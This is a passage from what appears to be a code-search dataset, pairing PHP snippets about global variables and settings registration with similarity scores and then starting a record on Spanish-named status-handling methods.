{\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_functions.php');\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_other.php');\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_conditionals.php'); \r\n\t\t\t}\r\n\t\t\t// EnlighterJS - Syntax Highlighter\r\n\t\t\tif (($this->TS_VCSC_UseEnlighterJS == \"true\") && (($this->TS_VCSC_PluginEnlighterTheme == \"true\") || ($this->TS_VCSC_VisualComposer_Loading == \"true\"))) {\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_functions.php');\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_enlighterjs.php');\r\n\t\t\t}\t\t\t\r\n\t\t\t// Add Custom Icon Font to WBP Elements\r\n\t\t\tif ($this->TS_VCSC_VisualComposer_Loading == \"true\") {\r\n\t\t\t\t//require_once($this->registrations_dir . 'ts_vcsc_registrations_composer.php');\r\n\t\t\t}\r\n\t\t}", "public function __construct() {\n\t\t$this->init();\n\t\t$this->register_globals();\n\t}", "public static function init()\n {\n self::$browsers = new Browser_Manager();\n self::$users = new User_Manager();\n self::$routes = new Routing_Manager();\n self::$pages = new Page_Manager();\n self::$themes = new Theme_Manager();\n self::$debug = new Debug_Manager();\n\n // disable debugging if we are unit testing\n if (defined('UNIT_TEST') && UNIT_TEST)\n {\n self::$debug->setEnabled(false);\n }\n\n\t\t// with the general environment loaded, we can now load\n\t\t// the modules that are app-specific\n self::$request = new App_Request();\n self::$response = new App_Response();\n self::$conditions = new App_Conditions();\n }", "function register_initial_settings()\n {\n }", "function mySuperglobals(){\n $x = 75;\n $y = 25;\n \n function addition() {\n $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];\n }\n \n addition();\n echo $z; \n //$_SERVER is a PHP super global variable which holds information about headers, paths, and script locations. \n echo $_SERVER['PHP_SELF'];\n echo \"<br>\";\n echo $_SERVER['SERVER_NAME'];\n echo \"<br>\";\n echo $_SERVER['HTTP_HOST'];\n echo \"<br>\";\n echo $_SERVER['HTTP_REFERER'];\n echo \"<br>\";\n echo $_SERVER['HTTP_USER_AGENT'];\n echo \"<br>\";\n echo $_SERVER['SCRIPT_NAME'];\n \n }", "public static function useGlobalState() {\n\t // copy existing state to globals if necessary\n\t if(isset(self::$state) && self::$state !== $GLOBALS) {\n\t foreach (self::$state as $name => $value) {\n\t if(!isset($GLOBALS[$name])) {\n\t $GLOBALS[$name] = $value;\n\t }\n\t }\n\t }\n\t // set the state variable to reference $GLOBALS\n\t self::$state = &$GLOBALS;\n\t}", "public function init()\n {\n // RETURN : global vars are set before\n if ( $this->initVar() )\n {\n return;\n }\n // RETURN : global vars are set before\n // Init the devider for the categories\n $this->initCatDevider();\n\n return;\n }", "private function load_variables() : void {\n\t\t$this->today = new \\DateTime( 'NOW' );\n\t\t$this->start_date = new \\DateTime( FTW_START_DATE );\n\t\t$this->completion_date = new \\DateTime( FTW_COMPLETION_DATE );\n\t}", "public function setVariables()\n \t{\t\n \t\tif (isset($this->params->plugin)) {\n \t\t\t$this->setPlPath(App::pluginPath(Inflector::humanize($this->params->plugin)));\n \t\t}\n \t\t$this->setController($this->params->controller);\n \t\t$this->setAction($this->params->action);\n \t\t$this->setConstant(Configure::read('App'));\n \t\t\n \t}", "private function setup_variables() {\n\t\t$this->file = __FILE__;\n\t\t$this->basename = plugin_basename( $this->file );\n\t\t$this->plugin_dir = plugin_dir_path( $this->file );\n\t\t$this->plugin_url = plugin_dir_url( $this->file );\n\t\t$this->cron_frequency = 'twicedaily';\n\t}", "private function setup_globals() {\n\t\t/** Rewrite ids ***************************************************************/\n\n\t\t$this->page_rid = 'paged'; // WordPress built-in global var\n\t\t$this->user_rid = wct_user_rewrite_id();\n\t\t$this->user_comments_rid = wct_user_comments_rewrite_id();\n\t\t$this->user_rates_rid = wct_user_rates_rewrite_id();\n\t\t$this->user_to_rate_rid = wct_user_to_rate_rewrite_id();\n\t\t$this->user_talks_rid = wct_user_talks_rewrite_id();\n\t\t$this->cpage_rid = wct_cpage_rewrite_id();\n\t\t$this->action_rid = wct_action_rewrite_id();\n\t\t$this->search_rid = wct_search_rewrite_id();\n\n\t\t/** Rewrite slugs *************************************************************/\n\n\t\t$this->user_slug = wct_user_slug();\n\t\t$this->user_comments_slug = wct_user_comments_slug();\n\t\t$this->user_rates_slug = wct_user_rates_slug();\n\t\t$this->user_to_rate_slug = wct_user_to_rate_slug();\n\t\t$this->user_talks_slug = wct_user_talks_slug();\n\t\t$this->cpage_slug = wct_cpage_slug();\n\t\t$this->action_slug = wct_action_slug();\n\t}", "function initRegister() {\r\n $register = new Zend_Registry(array(), ArrayObject::ARRAY_AS_PROPS);\r\n Zend_Registry::setInstance($register);\r\n }", "public function getGlobals()\n {\n return array();\n }", "public function getGlobals()\n {\n return array();\n }", "public function register_settings()\n {\n }", "public function register_settings()\n {\n }", "public function register()\n {\n return array(T_VARIABLE);\n\n }", "private function globals() {\n global $pagesArray;\n \n $xml = XML2Array::createArray(file_get_contents(GSDATAOTHERPATH.'website.xml'));\n \n // turn PRETTYURLS into boolean\n if ($xml['item']['PRETTYURLS']=='') $xml['item']['PRETTYURLS'] = false;\n else $xml['item']['PRETTYURLS'] = true;\n \n // globals array\n $globals = array(\n 'sitename' => $xml['item']['SITENAME']['@cdata'],\n 'siteurl' => $xml['item']['SITEURL']['@cdata'],\n 'template' => $xml['item']['TEMPLATE']['@cdata'],\n 'pages' => $pagesArray,\n 'permalink' => $xml['item']['PERMALINK'],\n 'prettyurls' => $xml['item']['PRETTYURLS'],\n );\n return $globals;\n }", "function qodef_re_set_global_map_variables() {\n \t\n \tif( qodef_re_theme_installed() ) {\n\t\t\t$global_map_variables = array();\n\t\t\n\t\t\t$global_map_variables['mapStyle'] = json_decode(bridge_qode_get_meta_field_intersect('real_estate_map_style'));\n\t\t\t$global_map_variables['scrollable'] = bridge_qode_options()->getOptionValue('real_estate_maps_scrollable') == 'yes' ? true : false;\n\t\t\t$global_map_variables['draggable'] = bridge_qode_options()->getOptionValue('real_estate_maps_draggable') == 'yes' ? true : false;\n\t\t\t$global_map_variables['streetViewControl'] = bridge_qode_options()->getOptionValue('real_estate_maps_street_view_control') == 'yes' ? true : false;\n\t\t\t$global_map_variables['zoomControl'] = bridge_qode_options()->getOptionValue('real_estate_maps_zoom_control') == 'yes' ? true : false;\n\t\t\t$global_map_variables['mapTypeControl'] = bridge_qode_options()->getOptionValue('real_estate_maps_type_control') == 'yes' ? true : false;\n\t\t\n\t\t\t$global_map_variables = apply_filters('qodef_re_filter_js_global_map_variables', $global_map_variables);\n\t\t\n\t\t\twp_localize_script('bridge-default', 'qodefMapsVars', array(\n\t\t\t\t'global' => $global_map_variables\n\t\t\t));\n\t\t}\n }", "public function init_globals() {\n\t\t\t$current_theme = wp_get_theme();\n\t\t\t$this->theme_name = strtolower( preg_replace( '#[^a-zA-Z]#', '', $current_theme->get( 'Name' ) ) );\n\t\t\t$this->envato_username = apply_filters( $this->theme_name . '_theme_setup_wizard_username', 'dfdevelopment' );\n\t\t\t$this->oauth_script = apply_filters( $this->theme_name . '_theme_setup_wizard_oauth_script', $this->custom_url.'/files/envato/wptoken/server-script.php' );\n\t\t\t$this->page_slug = apply_filters( $this->theme_name . '_theme_setup_wizard_page_slug', $this->theme_name . '-setup' );\n\t\t\t$this->parent_slug = apply_filters( $this->theme_name . '_theme_setup_wizard_parent_slug', '' );\n\n\t\t\t//If we have parent slug - set correct url\n\t\t\tif ( $this->parent_slug !== '' ) {\n\t\t\t\t$this->page_url = 'admin.php?page=' . $this->page_slug;\n\t\t\t} else {\n\t\t\t\t$this->page_url = 'themes.php?page=' . $this->page_slug;\n\t\t\t}\n\t\t\t$this->page_url = apply_filters( $this->theme_name . '_theme_setup_wizard_page_url', $this->page_url );\n\n\t\t\t//set relative plugin path url\n\t\t\t$this->plugin_url = trailingslashit( get_template_directory_uri() . '/inc/envato_setup' );\n\t\t}", "function p(){\r\n\t//print_r($GLOBALS);\r\n\t$GLOBALS[\"a\"]=99;\r\n}", "public function setup_constants() {\n\t\tself::$DIR = plugin_dir_path( __FILE__ );\n\t\tself::$URL = plugins_url( '/', __FILE__ );\n\t\tself::$FILE = __FILE__;\n\t}", "public function getGlobals() {\r\n\t\treturn [\r\n 'REQUEST' => [\r\n\t\t\t\t'url' => Response::$url\r\n\t\t\t],\r\n 'SESSION' => (isset($_SESSION)) ? $_SESSION : [],\r\n 'SERVER' => $_SERVER,\r\n 'INPUT' => App::$input,\r\n 'ENV' => App::$env\r\n ];\r\n }", "public function initializeTypo3DbGlobal() {}", "public function getGlobals()\n\t{\n\t\treturn array(\n\t\t\t'uri' => $this->app->get('uri'),\n\t\t\t'uri.base.path' => $this->app->get('uri.base.path')\n\t\t);\n\t}", "public function init()\r\n {\r\n $this->admin = Shopware()->Modules()->Admin();\r\n $this->basket = Shopware()->Modules()->Basket();\r\n $this->session = Shopware()->Session();\r\n $this->db = Shopware()->Db();\r\n $this->moduleManager = Shopware()->Modules();\r\n $this->eventManager = Shopware()->Events();\r\n }", "protected static function boot() {\n parent::boot();\n\n static::addGlobalScope(new GroupeScope);\n }", "function runkit_superglobals()\n{\n}", "public static function createFromGlobals();", "static public function get_template_global_variables() {\n\t\treturn array\n\t\t(\n\t\t\t\"FacebookConnectURL\" => \"connect_url\",\n\t\t\t\"FacebookLoginURL\" => \"login_url\",\n\t\t\t\"FacebookDisconnectURL\" => \"disconnect_url\"\n\t\t);\n\t}", "public function getGlobals()\n {\n return [\n 'cache' => $this->flextype['cache'],\n ];\n }", "public function getGlobals()\n {\n global $APPLICATION;\n\n return array(\n 'APPLICATION' => $APPLICATION,\n 'LANG' => LANG,\n 'POST_FORM_ACTION_URI' => POST_FORM_ACTION_URI,\n 'DEFAULT_TEMPLATE_PATH' => self::DEFAULT_TEMPLATE_PATH,\n '_REQUEST' => $_REQUEST,\n 'SITE_SERVER_NAME' => SITE_SERVER_NAME,\n '_SESSION' => $_SESSION\n );\n }", "private function __set_global()\n {\n $this->__db->setAsGlobal();\n }", "function loadRegistry() {\n\t\t$reg = @include $this->path( 'var/Application Support/xoops_kernel_Xoops2/registry.php' );\n\t\tif ( !is_array($reg) || ( $this->xoRunMode & XO_MODE_DEV_MASK ) ) {\n\t\t\t$reg = include $this->path( \"$this->xoBundleRoot/scripts/rebuild_registry.php\" );\n\t\t}\n\t\t$GLOBALS['exxos']->registry = $reg;\n\t}", "public static function get_template_global_variables()\n {\n return [\n 'FoxyStripe' => 'current_foxystripe_setting',\n ];\n }", "public function setAsGlobal()\n {\n static::$instance = $this;\n }", "private function setup_vars()\n\t{\n\t\tglobal $persian_month_names, $timezone;\n\t\t$persian_month_names = array('',\n\t\t\t'فروردین',\n\t\t\t'اردیبهشت',\n\t\t\t'خرداد',\n\t\t\t'تیر',\n\t\t\t'مرداد',\n\t\t\t'شهریور',\n\t\t\t'مهر',\n\t\t\t'آبان',\n\t\t\t'آذر',\n\t\t\t'دی',\n\t\t\t'بهمن',\n\t\t\t'اسفند'\n\t\t);\n\n\t\t$timezone = get_option('timezone_string');\n\t\tif ($timezone != '')\n\t\t\tdate_default_timezone_set($timezone);\n\t\telse\n\t\t\tdate_default_timezone_set('Asia/Tehran');\n\t}", "public static function set_global($key, $value = NULL) {\r\n if ( is_array($key) ) {\r\n foreach ($key as $key2=>$value) {\r\n View::$_global_data[$key2] = $value;\r\n if ( self::$_smarty_is_loaded ) {\r\n Smarty_View::smarty_prototype()->assignGlobal($key2, $value);\r\n }\r\n }\r\n } else {\r\n View::$_global_data[$key] = $value;\r\n if ( self::$_smarty_is_loaded ) {\r\n Smarty_View::smarty_prototype()->assignGlobal($key, $value);\r\n }\r\n }\r\n}", "function fill_general_variables()\n\t\t{\n\t\t\t//collect error messages before\n\t\t\t$this->message[] = $this->process_monitor->get_error(false, _DEBUG);\n\t\t\t$this->fill_form_variables();\n\t\t\t$this->t->set_var(array(\n\t\t\t\t'monitor_stats'\t\t\t=> $this->fill_monitor_stats($this->stats),\n\t\t\t));\n\t\t}", "function tsuiseki_tracking_admin_init() {\n register_setting('tsuiseki-tracking-settings', 'tsuiseki_tracking_key');\n register_setting('tsuiseki-tracking-settings', 'tsuiseki_tracking_css_class');\n register_setting('tsuiseki-tracking-settings', 'tsuiseki_tracking_excluded_uris');\n}", "function AdminGlobal($dbObj){\n\t\t$this->dbclass = $dbObj;\n\t\t$this->post = &$_POST;\n\t\t$this->get = &$_GET;\n\t\t$this->request = &$_REQUEST;\n\t}", "function setVar() {\n\t\t\n\t\t$_argv = func_get_args();\n\t\t$_argc = func_num_args();\n\t\t\n\t\t// load vars\n\t\t$vars = getVars();\n\t\tif (!$_GET[\"__shared__\"][\"vars\"]) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"] = array();\n\t\t}\n\t\tforeach ($vars as $varNamespace => $varArray) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$varNamespace] = $varArray;\n\t\t}\n\t\t\n\t\t// Register namespace if not existing\n\t\tif (!$_GET[\"__shared__\"][\"vars\"][$_argv[0]]) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]] = array();\n\t\t}\n\t\tif ($_argc == 2) {\n\t\t\tif (is_array($_argv[1])) {\n\t\t\t\tforeach ($_argv[1] as $var => $val) {\n\t\t\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]][$var] = $val;\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif ($_argc == 3) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]][$_argv[1]] = $_argv[2];\n\t\t}\n\t\t\n\t\t// save vars\n\t\t\n\t\tsaveVars();\n\t}", "public function initSettings()\n {\n register_setting('flickr_group_gallery_settings', 'flickr_group_gallery_api_key');\n register_setting('flickr_group_gallery_settings', 'flickr_group_gallery_api_secret');\n register_setting('flickr_group_gallery_settings', 'flickr_group_gallery_cache_path');\n register_setting('flickr_group_gallery_settings', 'flickr_group_gallery_cache_expires');\n }", "protected static function register() {}", "public function addGlobal($name, $value)\n {\n self::$globalsCache[$name] = $value;\n }", "public static function getDefaultGlobals(){\n\t\treturn Array(\n\t\t);\n\t}", "public static function onLoad() {\n\t\tF3::$global['BGCOLOR']='FFF';\n\t\tF3::$global['FGTRANS']=32;\n\t\tF3::$global['IBLOCKS']=4;\n\t\tF3::$global['IPIXELS']=64;\n\t\tF3::$global['HEADERS']=array();\n\t\tF3::$global['SITEMAP']=array();\n\t}", "public function register()\n {\n require_once(realpath(__DIR__. '/../Helpers/parameters.php'));\n new ParametersSingleton();\n\n }", "public function getGlobals()\n {\n return self::$globalsCache;\n }", "private function setup_globals() {\n\t\t$this->plugin_folder = WP_CONTENT_DIR . '/mu-plugins/shared-plugins';\n\n\t\t$this->hidden_plugins = array(\n\t\t\t'internacional', // Not ready yet (ever?)\n\t\t\t'wpcom-legacy-redirector', // requires code-level changes\n\n\t\t\t// Premium\n\t\t\t'new-device-notification',\n\n\t\t\t// Commercial non-FPP plugins. Available but not promoted.\n\t\t\t'disqus',\n\t\t\t'kapost-byline',\n\t\t\t'inform',\n\t\t\t'share-this-classic-wpcom',\n\t\t\t'share-this-wpcom',\n\t\t\t'five-min-video-suggest',\n\t\t\t'stipple',\n\t\t\t'brightcove',\n\t\t\t'lift-search',\n\t\t\t'msm-sitemap',\n\t\t\t'zemanta',\n\t\t\t'pushup',\n\t\t\t'livepress',\n\t\t\t'wp-discourse',\n\n\t\t\t// deprecated\n\t\t\t'breadcrumb-navxt', // use the newer version instead\n\t\t\t'daylife', // API doesn't work #36756-z\n\t\t\t'livefyre', // use livefyre3 instead\n\t\t\t'feedwordpress', // breaks all the time\n\t\t\t'wordtwit-1.3-mod', // use publicize\n\t\t\t'uppsite', // Retired from FPP but a couple VIPs still using it\n\t\t\t'wpcom-related-posts', // Now part of JP / WP.com\n\t\t\t'scrollkit-wp', // Scroll Kit shut down but still a few people with it activated\n\t\t\t'google-calendar-events', // https://viprequests.wordpress.com/2015/01/06/update-google-calendar-events-shared-plugin/\n\t\t\t'ice', // Crazy out-of-date, doesn't work with MCE 4+, still in use by a handful for some reason\n\t\t\t'the-attached-image', // Badness - was missing ton of escaping, not using the settings api\n\t\t);\n\n\t\t$this->fpp_plugins = array(\n\t\t\t'browsi' => array(\n\t\t\t\t'name' => 'Brow.si',\n\t\t\t\t'description' => 'Drive more engagement and better monetization on mobile web with Brow.si on your site.',\n\t\t\t),\n\t\t\t'chartbeat' => array(\n\t\t\t\t'name' => 'Chartbeat',\n\t\t\t\t'description' => 'Get a free trial to see your site\\'s real-time data.',\n\t\t\t),\n\t\t\t'co-schedule' => array(\n\t\t\t\t'name' => 'CoSchedule',\n\t\t\t\t'description' => 'Plan awesome content. Save a bunch of time.',\n\t\t\t),\n\t\t\t'facebook' => array(\n\t\t\t\t'name' => 'Facebook',\n\t\t\t\t'description' => 'Make your WordPress site social in a few clicks, powered by Facebook.',\n\t\t\t),\n\t\t\t'findthebest' => array(\n\t\t\t\t'name' => 'FindTheBest',\n\t\t\t\t'description' => 'Add visual, interactive content that matches your post and\n\t\t\t\tboosts your credibility.',\n\t\t\t),\n\t\t\t'getty-images' => array(\n\t\t\t\t'name' => 'Getty Images',\n\t\t\t\t'description' => 'Search and use Getty Images photos in your posts without ever leaving WordPress.com.',\n\t\t\t),\n\t\t\t'janrain-capture' => array(\n\t\t\t\t'name' => 'Janrain',\n\t\t\t\t'description' => 'User Registration and Social Integration for WordPress.com VIP.',\n\t\t\t),\n\t\t\t'jwplayer' => array(\n\t\t\t\t'name' => 'JW Player',\n\t\t\t\t'description' => 'The World’s Most Popular Video Player.',\n\t\t\t),\n\t\t\t'livefyre-apps' => array(\n\t\t\t\t'name' => 'Livefyre',\n\t\t\t\t'description' => 'Replace comments with live conversations connected to the social web.',\n\t\t\t),\n\t\t\t'mediapass' => array(\n\t\t\t\t'name' => 'MediaPass Subscriptions',\n\t\t\t\t'description' => 'Monetize your content with recurring subscriptions made easy.',\n\t\t\t),\n\t\t\t'postrelease-vip' => array(\n\t\t\t\t'name' => 'Nativo',\n\t\t\t\t'description' => 'Unlock a premium revenue stream with native ads.',\n\t\t\t),\n\t\t\t'newscred' => array(\n\t\t\t\t'name' => 'NewsCred',\n\t\t\t\t'description' => 'Publish fully licensed, full text articles and images from 4,000+ of the world’s best news sources!',\n\t\t\t),\n\t\t\t'ooyala' => array(\n\t\t\t\t'name' => 'Ooyala',\n\t\t\t\t'description' => 'Upload, Search and Publish High Quality Video Across All Screens powered by Ooyala.',\n\t\t\t),\n\t\t\t'wp-parsely' => array(\n\t\t\t\t'name' => 'Parsely',\n\t\t\t\t'description' => 'Start a trial to finally see your audience clearly.',\n\t\t\t),\n\t\t\t'publishthis' => array(\n\t\t\t\t'name' => 'PublishThis',\n\t\t\t\t'description' => 'Rapidly discover, curate and publish fresh content on any topic into WordPress.',\n\t\t\t),\n\t\t\t'sailthru' => array(\n\t\t\t\t'name' => 'Sailthru for WordPress',\n\t\t\t\t'description' => 'Sailthru is the leading provider of personalized marketing communications.',\n\t\t\t),\n\t\t\t'simple-reach-analytics' => array(\n\t\t\t\t'name' => 'SimpleReach',\n\t\t\t\t'description' => 'Content ROI made simple.',\n\t\t\t),\n\t\t\t'skyword' => array(\n\t\t\t\t'name' => 'Skyword',\n\t\t\t\t'description' => 'Moving Stories. Forward.',\n\t\t\t),\n\t\t\t'socialflow' => array(\n\t\t\t\t'name' => 'SocialFlow',\n\t\t\t\t'description' => 'Get more readers and traffic from Twitter & Facebook with SocialFlow Optimized Publisher&trade;.',\n\t\t\t),\n\t\t\t'storify' => array(\n\t\t\t\t'name' => 'Storify',\n\t\t\t\t'description' => 'Easily add social media to every blog post with Storify.',\n\t\t\t),\n\t\t\t'thePlatform' => array(\n\t\t\t\t'name' \t\t => 'thePlatform',\n\t\t\t\t'description' => 'Easily publish and manage your videos in WordPress using thePlatform’s mpx.',\n\t\t\t),\n\t\t\t'tinypass' => array(\n\t\t\t\t'name' \t\t => 'Tinypass',\n\t\t\t\t'description' => 'Simple, powerful tools for subscriptions, paywalls, pay-per-view, and donations.',\n\t\t\t),\n\t\t);\n\t}", "function init()\r\n{\r\n\tglobal $SETTINGS;\t\r\n\t\r\n\trequire('funcs/logging.php');\r\n\trequire('funcs/http_funcs.php');\r\n\trequire('funcs/api_funcs.php');\r\n\t\r\n\t$SETTINGS = get_settings();\r\n\t\r\n\t\r\n\tdo_log(\"System initiated, debug level is: \".DEBUG,0);\r\n}", "function usingSuperGlobals()\r\n{ echo \"<br>\";\r\n echo '<span style=\"color:teal;\r\n margin-left:-15px;\">\r\n 3) Adding of 2 numbers using global variables.\r\n </span>'. \"<br>\";\r\n echo \"<br>\";\r\n\r\n $check1 = is_int($GLOBALS['x']);\r\n $check2 = is_int($GLOBALS['y']);\r\n if($check1!='1'|| $check2!='1')\r\n {\r\n throw new Exception(\"Accept only integer values!!!\"); \r\n }\r\n else\r\n {\r\n $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];\r\n echo \"Value of X : \".$GLOBALS['x'].\" \".\" And Y : \".$GLOBALS['y'].\"<br>\";\r\n echo \"<br>\".\"Sum of X & Y is \".$GLOBALS['z'];\r\n } \r\n}", "public function register()\n {\n return [T_DECLARE];\n\n }", "protected function _initRegistry()\n {\n\n $tables = new Zend_Config_Ini(APPLICATION_PATH . '/configs/application_tables.ini', 'tables', true);\n\n Zend_Registry::set(\"tables\", $tables);\n $tablespk = new Zend_Config_Ini(APPLICATION_PATH . '/configs/application_tables.ini', 'tablespk', true);\n Zend_Registry::set(\"tablespk\", $tablespk);\n\n $appRegions = new Zend_Config_Ini(APPLICATION_PATH . '/configs/application_regions.ini', 'Regions_Controller', true);\n Zend_Registry::set(\"Regions_Controller\", $appRegions);\n }", "function init__developer_tools()\n{\n\tglobal $MEMORY_POINTS;\n\t$MEMORY_POINTS=array();\n\n\tglobal $PREVIOUS_XSS_STATE;\n\t$PREVIOUS_XSS_STATE=array('1');\n}", "public function unsetReservedGlobalVariables() {}", "public function setup()\n {\n $_SESSION = array();\n $_SESSION['security'] = array(\n 'user-agent' => md5(empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT']),\n 'ip' => $_SERVER['REMOTE_ADDR'],\n 'start' => time()\n );\n $_SESSION['stores'] = array();\n }", "public static function bind_global($key, & $value) {\r\n View::$_global_data[$key] = &$value;\r\n View::$_global_bound_variables[$key] = TRUE;\r\n if ( self::$_smarty_is_loaded ) {\r\n Smarty::$global_tpl_vars[$key] = new Smarty_variable($value);\r\n Smarty::$global_tpl_vars[$key]->value = &$value;\r\n }\r\n}", "public function register()\n {\n return [T_VARIABLE];\n\n }", "public function testManipulateGlobalVariables()\n {\n $this->request->setQuery('global_get_variable', 42);\n $this->request->setPost('global_post_variable', 42);\n }", "public static function register() {\n\t\tstatic::registerStyles();\n\t\tstatic::registerScripts();\n\t\tstatic::registerDOM();\n\t}", "protected static function boot()\n {\n parent::boot();\n\n static::addGlobalScope(new CountriesScope);\n static::addGlobalScope(new EnabledScope);\n }", "protected static function boot(){\n \n parent::boot();\n\n static::addGlobalScope(new STKCODE);\n\n \n\n \n }", "private function loadSesionVars() {\r\n\r\n $this->VARS = array(); \r\n\r\n $this->updateSessionExpireTime();\r\n\r\n $dati = $this->selectSessionVars();\r\n\r\n foreach($dati as $infos) { \r\n $this->VARS[$infos[\"name\"]]=unserialize($infos[\"value\"]);\r\n }\r\n\r\n }", "public static function setGlobal($name, $value){\n\t\t$GLOBALS[$name] = self::fillTokens($value);\n\t\tif(self::getVar('debug')){\n\t\t\techo \"setGlobal: {$name}=> <pre>\";\n\t\t\tvar_dump($GLOBALS[$name]);\n\t\t\techo \"</pre><br />\\n\";\n\t\t}\n\t}" ]
[ "0.8068224", "0.77826226", "0.7712508", "0.75491136", "0.75491136", "0.7431468", "0.7193156", "0.69370896", "0.6928898", "0.6928898", "0.6865854", "0.68346226", "0.68119425", "0.67748773", "0.6761227", "0.66429013", "0.66202116", "0.6606804", "0.6578169", "0.654052", "0.6530712", "0.6473987", "0.6458088", "0.6387943", "0.6353915", "0.63129497", "0.6278284", "0.6252189", "0.6248869", "0.62350446", "0.62246525", "0.62246525", "0.62246525", "0.62044597", "0.619535", "0.6189207", "0.6182787", "0.617671", "0.61563814", "0.6141868", "0.61127347", "0.6111344", "0.61096054", "0.60615176", "0.6022194", "0.6015774", "0.601159", "0.59993064", "0.5998028", "0.5998028", "0.5997292", "0.5996381", "0.59804016", "0.5973373", "0.5967886", "0.5953973", "0.5947468", "0.593618", "0.59346735", "0.5924633", "0.5923731", "0.59191316", "0.59008896", "0.5888444", "0.5864573", "0.5837711", "0.58325994", "0.582666", "0.5823984", "0.58203095", "0.5802302", "0.5798897", "0.5792505", "0.57889664", "0.57872677", "0.5781886", "0.57781965", "0.57589555", "0.57449776", "0.5738204", "0.5737569", "0.5730185", "0.57299536", "0.5725784", "0.5723907", "0.5719514", "0.5712064", "0.571021", "0.57062346", "0.5696625", "0.5692463", "0.5692012", "0.5688855", "0.5680536", "0.5680456", "0.56767684", "0.5673903", "0.56684995", "0.56593686", "0.56586355", "0.56577355" ]
0.0
-1
/ Atributos increments('id') unsignedInteger('Estado_id') integer('Activo_id') string('Activo_type')
function estado() { return $this->belongsTo( EstadoActivo::class, 'Estado_id', 'id' ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function actualizaEstado(){\n $this->estado = 'Completo';\n // $this->cotiza = $this->generarCustomID();\n $this->save();\n }", "public function getEstadoId() {\r\n return $this->estadoId;\r\n }", "function contratos_por_estado($id_estado){\n $sql =\n \"SELECT\n c.Numero,\n c.Objeto,\n c.Lugar,\n c.Valor_Inicial,\n c.Acta_Inicio,\n c.Fecha_Acta_Inicio,\n c.Plazo,\n c.Fecha_Vencimiento,\n c.Fecha_Inicial,\n t.Nombre AS Contratista,\n e.Estado \n FROM\n contratos AS c\n INNER JOIN tbl_terceros AS t ON c.Fk_Id_Terceros = t.Pk_Id_Terceros\n INNER JOIN tbl_estados AS e ON c.Fk_Id_Estado = e.Pk_Id_Estado \n WHERE\n c.Fk_Id_Estado = $id_estado \n AND c.Fk_Id_Proyecto = {$this->session->userdata('Fk_Id_Proyecto')} \n ORDER BY\n c.Numero ASC\";\n \n //Se retorna la consulta\n return $this->db->query($sql)->result();\n }", "function CambiarEstado($id_factura, $estado) {\n $q=\"UPDATE \".self::$table.\" SET estado='$estado' WHERE id=$id_factura\";\n return DBManager::execute($q);\n }", "public\n function edit(Estado $estado)\n {\n //\n }", "function getDatosId_activ()\n {\n $nom_tabla = $this->getNomTabla();\n $oDatosCampo = new core\\DatosCampo(array('nom_tabla' => $nom_tabla, 'nom_camp' => 'id_activ'));\n $oDatosCampo->setEtiqueta(_(\"id_activ\"));\n return $oDatosCampo;\n }", "public function activar_cliente($id,$estado){\n $conectar= parent::conexion();\n parent::set_names();\n $sql=\"CALL spc_actualizar_estadoCliente(?,?)\";\n $sql=$conectar->prepare($sql);\n $sql->bindValue(1, $estado);\n $sql->bindValue(2, $id);\n $sql->execute();\n return $resultado=$sql->fetchAll(PDO::FETCH_ASSOC);\n }", "public function GuardarEstado()\n\t{\n\t\t$query=\"INSERT INTO estado (idpais,estado,descripcion) VALUES ($this->id_pais,'$this->estado','$this->descripcion')\";\n\t\t$resp=$this->db->consulta($query);\n\t\t$this->id_estado = $this->db->id_ultimo();\n\t\t\n\t\t\n\t\t\n\t}", "function get_estado($idEstado)\n\t{\n\t\treturn $this->db->get_where('estado',array('idEstado'=>$idEstado))->row_array();\n\t}", "public function activar()\n {\n $this->estatus = 1;\n $this->save();\n }", "private function tbl_estados() {\r\n\t\t\t$this->estados = $this->esquema->createTable('ESTADOS');\r\n\t\t\t$this->estados->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Estado'\r\n\t\t\t));\r\n\t\t\t$this->estados->addColumn('NOMBRE', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Nombre del Estado'\r\n\t\t\t));\r\n\t\t\t$this->estados->setPrimaryKey(array('ID'));\r\n\t\t}", "public function estado()\n {\n return $this->belongsTo('App\\Estado');\n }", "function update_estado($id)\n {\n $data = array(\n 'estado' => 2\n );\n\n $this->db->where('id', $id);\n return $this->db->update('servicio', $data);\n }", "function activar($id,$estado){\n\n\t$activarCategoria = new ajaxCategoria();\n\t$activarCategoria -> activarCategoria = $estado;\n\t$activarCategoria -> activarId = $id;\n\t$activarCategoria-> ajaxactivarCategoria();\n\n}", "function Activar($id) {\n $fecha=date(\"Y-m-d H:i:s\");\n $query=\"UPDATE \".self::$table.\" SET activa='si', fechamodificacion='$fecha' WHERE id=$id\";\n return DBManager::execute($query);\n }", "public function ModificarEstado()\n\t{\n\t\t$query=\"UPDATE estado SET idpais=$this->id_pais, estado='$this->estado' , descripcion='$this->descripcion' WHERE idestado=$this->id_estado\";\n\t\t$resp=$this->db->consulta($query);\n\t}", "function ResumenEstadoCC(){\n $this->procedimiento='obingresos.ft_periodo_venta_sel';\n $this->transaccion='OBING_RESESTCC_SEL';\n $this->tipo_procedimiento='SEL';//tipo de transaccion\n\n $this->setCount(false);\n\n\n $this->setParametro('id_agencia','id_agencia','int4');\n\n\n\n //Definicion de la lista del resultado del query\n $this->captura('id_agencia','int4');\n $this->captura('tipo','varchar');\n 